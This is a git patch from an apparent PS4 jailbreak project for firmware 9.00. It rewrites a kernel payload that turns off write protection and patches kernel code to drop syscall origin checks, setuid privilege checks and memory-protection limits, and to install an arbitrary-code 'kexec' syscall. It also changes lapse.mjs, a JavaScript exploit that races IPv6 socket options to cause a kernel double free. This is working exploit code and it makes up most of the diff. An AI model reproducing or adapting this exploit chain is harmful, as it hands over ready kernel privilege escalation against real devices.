From 84e8ccc3fb2f10478da76e7955480732b9cf6cdb Mon Sep 17 00:00:00 2001 From: Kameleon <77245601+kmeps4@users.noreply.github.com> Date: Sun, 1 Jun 2025 11:48:19 -0600 Subject: [PATCH] performance fix on make_aliased_pktopts by ABC --- kpatch/900.c | 178 +++++++++++++++++++++++++++++++++++-------------- kpatch/900.elf | Bin 5288 -> 5288 bytes kpatch/900.o | Bin 1912 -> 1904 bytes lapse.mjs | 12 ++-- 4 files changed, 135 insertions(+), 55 deletions(-) diff --git a/kpatch/900.c b/kpatch/900.c index 2ff5a67..41c8818 100644 --- a/kpatch/900.c +++ b/kpatch/900.c @@ -15,6 +15,8 @@ GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with this program. If not, see . */ +// 9.00 + #include #include "types.h" @@ -53,55 +55,133 @@ void restore(struct kexec_args *uap) { void do_patch(void) { // offset to fast_syscall() - const size_t off_fast_syscall = 0x1C0; - void * const kbase = (void *)rdmsr(0xC0000082) - off_fast_syscall; + const size_t off_fast_syscall = 0x1c0; + void * const kbase = (void *)rdmsr(0xc0000082) - off_fast_syscall; disable_cr0_wp(); - //ChendoChap Patches For 900 - const size_t KERNEL_enable_syscalls_1 = 0x490; - const size_t KERNEL_enable_syscalls_2 = 0x4B5; - const size_t KERNEL_enable_syscalls_3 = 0x4B9; - const size_t KERNEL_enable_syscalls_4 = 0x4C2; - const size_t KERNEL_mprotect = 0x80B8D; - const size_t KERNEL_prx = 0x23AEC4; - const size_t KERNEL_mmap_1 = 0x16632A; - const size_t KERNEL_mmap_2 = 0x16632D; - const size_t KERNEL_dlsym_1 = 0x23B67F; - const size_t KERNEL_dlsym_2 = 0x221b40; - const size_t KERNEL_setuid = 0x1A06; - const size_t KERNEL_bzero = 0x2713FD; - const size_t KERNEL_pagezero = 0x271441; - const size_t KERNEL_memcpy = 0x2714BD; - const size_t KERNEL_pagecopy = 0x271501; - const size_t KERNEL_copyin = 0x2716AD; - const size_t KERNEL_copyinstr = 0x271B5D; - const size_t KERNEL_copystr = 0x271C2D; - const size_t KERNEL_veriPatch = 0x626874; - const size_t KERNEL_setcr0_patch = 0x3ade3B; - write32(kbase, KERNEL_enable_syscalls_1, 0); - write16(kbase, KERNEL_enable_syscalls_2, 0x9090); - write16(kbase, KERNEL_enable_syscalls_3, 0x9090); - write8(kbase, KERNEL_enable_syscalls_4, 0xEB); - write8(kbase, KERNEL_mmap_1, 0x37); - write8(kbase, KERNEL_mmap_2, 0x37); - write32(kbase, KERNEL_mprotect, 0); - write8(kbase, KERNEL_dlsym_1, 0xEB); - write32(kbase, KERNEL_dlsym_2, 0xC3C03148); - write8(kbase, KERNEL_setuid, 0xEB); - write16(kbase, KERNEL_prx, 0xE990); - write8(kbase, KERNEL_bzero, 0xEB); - write8(kbase, KERNEL_pagezero, 0xEB); - write8(kbase, KERNEL_memcpy, 0xEB); - write8(kbase, KERNEL_pagecopy, 0xEB); - write8(kbase, KERNEL_copyin, 0xEB); - write8(kbase, KERNEL_copyinstr, 0xEB); - write8(kbase, KERNEL_copystr, 0xEB); - write16(kbase, KERNEL_veriPatch, 0x9090); - write32(kbase, KERNEL_setcr0_patch, 0xC3C7220F); - const size_t offset_sysent_11 = 0x1100520; - write32(kbase, offset_sysent_11, 2); - write64(kbase, offset_sysent_11 + 8, kbase + 0x4c7ad); - write32(kbase, offset_sysent_11 + 0x2c, 1); - + + // ChendoChap's patches from pOOBs4 /////////////////////////////////////// + + // Initial patches + write16(kbase, 0x626874, 0x9090); // veriPatch + write8(kbase, 0xacd, 0xeb); // bcopy + write8(kbase, 0x2713fd, 0xeb); // bzero + write8(kbase, 0x271441, 0xeb); // pagezero + write8(kbase, 0x2714bd, 0xeb); // memcpy + write8(kbase, 0x271501, 0xeb); // pagecopy + write8(kbase, 0x2716ad, 0xeb); // copyin + write8(kbase, 0x271b5d, 0xeb); // copyinstr + write8(kbase, 0x271c2d, 0xeb); // copystr + + // patch amd64_syscall() to allow calling syscalls everywhere + // struct syscall_args sa; // initialized already + // u64 code = get_u64_at_user_address(td->tf_frame-tf_rip); + // int is_invalid_syscall = 0 + // + // // check the calling code if it looks like one of the syscall stubs at a + // // libkernel library and check if the syscall number correponds to the + // // proper stub + // if ((code & 0xff0000000000ffff) != 0x890000000000c0c7 + // || sa.code != (u32)(code >> 0x10) + // ) { + // // patch this to " = 0" instead + // is_invalid_syscall = -1; + // } + write32(kbase, 0x490, 0); + // these code corresponds to the check that ensures that the caller's + // instruction pointer is inside the libkernel library's memory range + // + // // patch the check to always go to the "goto do_syscall;" line + // void *code = td->td_frame->tf_rip; + // if (libkernel->start <= code && code < libkernel->end + // && is_invalid_syscall == 0 + // ) { + // goto do_syscall; + // } + // + // do_syscall: + // ... + // lea rsi, [rbp - 0x78] + // mov rdi, rbx + // mov rax, qword [rbp - 0x80] + // call qword [rax + 8] ; error = (sa->callp->sy_call)(td, sa->args) + // + // sy_call() is the function that will execute the requested syscall. + write8(kbase, 0x4c2, 0xeb); + write16(kbase, 0x4b9, 0x9090); + write16(kbase, 0x4b5, 0x9090); + + // patch sys_setuid() to allow freely changing the effective user ID + // ; PRIV_CRED_SETUID = 50 + // call priv_check_cred(oldcred, PRIV_CRED_SETUID, 0) + // test eax, eax + // je ... ; patch je to jmp + write8(kbase, 0x1a06, 0xeb); + + // patch vm_map_protect() (called by sys_mprotect()) to allow rwx mappings + // + // this check is skipped after the patch + // + // if ((new_prot & current->max_protection) != new_prot) { + // vm_map_unlock(map); + // return (KERN_PROTECTION_FAILURE); + // } + write32(kbase, 0x80b8d, 0); + + // TODO: Description of this patch. "prx" + write16(kbase, 0x23aec4, 0xe990); + + // patch sys_dynlib_dlsym() to allow dynamic symbol resolution everywhere + // call ... + // mov r14, qword [rbp - 0xad0] + // cmp eax, 0x4000000 + // jb ... ; patch jb to jmp + write8(kbase, 0x23b67f, 0xeb); + // patch called function to always return 0 + // + // sys_dynlib_dlsym: + // ... + // mov edi, 0x10 ; 16 + // call patched_function ; kernel_base + 0x951c0 + // test eax, eax + // je ... + // mov rax, qword [rbp - 0xad8] + // ... + // patched_function: ; patch to "xor eax, eax; ret" + // push rbp + // mov rbp, rsp + // ... + write32(kbase, 0x221b40, 0xc3c03148); + + // patch sys_mmap() to allow rwx mappings + // patch maximum cpu mem protection: 0x33 -> 0x37 + // the ps4 added custom protections for their gpu memory accesses + // GPU X: 0x8 R: 0x10 W: 0x20 + // that's why you see other bits set + // ref: https://cturt.github.io/ps4-2.html + write8(kbase, 0x16632a, 0x37); + write8(kbase, 0x16632d, 0x37); + + // overwrite the entry of syscall 11 (unimplemented) in sysent + // + // struct args { + // u64 rdi; + // u64 rsi; + // u64 rdx; + // u64 rcx; + // u64 r8; + // u64 r9; + // }; + // + // int sys_kexec(struct thread td, struct args *uap) { + // asm("jmp qword ptr [rsi]"); + // } + // .sy_narg = 2 + write32(kbase, 0x1100520, 2); + // .sy_call = gadgets['jmp qword ptr [rsi]'] + write64(kbase, 0x1100520 + 8, kbase + 0x4c7ad); + // .sy_thrcnt = SY_THR_STATIC + write32(kbase, 0x1100520 + 0x2c, 1); + enable_cr0_wp(); -} \ No newline at end of file +} diff --git a/kpatch/900.elf b/kpatch/900.elf index a38fa6b29ce522f871cba606f666f29f17bcfd66..c1246d4d476c7642d7d72df6cf2772a3283539c0 100644 GIT binary patch delta 151 zcmZ3Xxk7V8y?{X4@y3#jB!&qSjy0a;VqkbZ`L=*z%<;wvEDT_9tnm<#^%|&ZCy<^n z0m#@2W*lo|lLAT{Z|vpf0ILMb99gH#FyZB~#`+A@ l1yPgb1q~S)Ci@9mF@B!hDY%{S^JYgOc1A|;&7Q*Xi~y8fH8cPK delta 152 zcmZ3Xxk7V8y+F+I#tAG8V32maaVwBHVFHk`6U;c)cnCywync?;EMh9sn1`opnhmSR~NdeUZ^&eTM%rN2Q$fR`WE`ZG7(5IQ96r{ll`O_! zeymX!L``;PteAX&F@o{)WJ#v=jGs53Wa?*R)Sn#5V$PU9c_NEFkh};c1zGJG872n; u$?nM$f#mkd7lGuC$%1V5j5j6+0!f3(6M>|~C=BG3WF!I2Io@b}&x(Ox>Gq5)$*V9{VKn#{>+&&V;^ z6G-+=?qs!R+67VffK`L>z+_G~d&UQoJ%Oaf~qd@-4m-JY`nWE&7vOrFRh F4*&wVNyh*H diff --git a/lapse.mjs b/lapse.mjs index 56fa594..84a84d0 100644 --- a/lapse.mjs +++ b/lapse.mjs @@ -133,7 +133,7 @@ const main_core = 7; const num_grooms = 0x200; const num_handles = 0x100; const num_sds = 0x100; // max is 0x100 due to max IPV6_TCLASS -const num_alias = 10; +const num_alias = 100; const num_races = 100; const leak_len = 16; const num_leaks = 5; @@ -954,10 +954,13 @@ function leak_kernel_addrs(sd_pair) { } // FUNCTIONS FOR STAGE: 0x100 MALLOC ZONE DOUBLE FREE - function make_aliased_pktopts(sds) { const tclass = new Word(); for (let loop = 0; loop < num_alias; loop++) { + for (let i = 0; i < num_sds; i++) { + setsockopt(sds[i], IPPROTO_IPV6, IPV6_2292PKTOPTIONS, 0, 0); + } + for (let i = 0; i < num_sds; i++) { tclass[0] = i; ssockopt(sds[i], IPPROTO_IPV6, IPV6_TCLASS, tclass); @@ -983,14 +986,11 @@ function make_aliased_pktopts(sds) { return pair; } } - - for (let i = 0; i < num_sds; i++) { - setsockopt(sds[i], IPPROTO_IPV6, IPV6_2292PKTOPTIONS, 0, 0); - } } die('failed to make aliased pktopts'); } + function double_free_reqs1( reqs1_addr, kbuf_addr, target_id, evf, sd, sds, ) {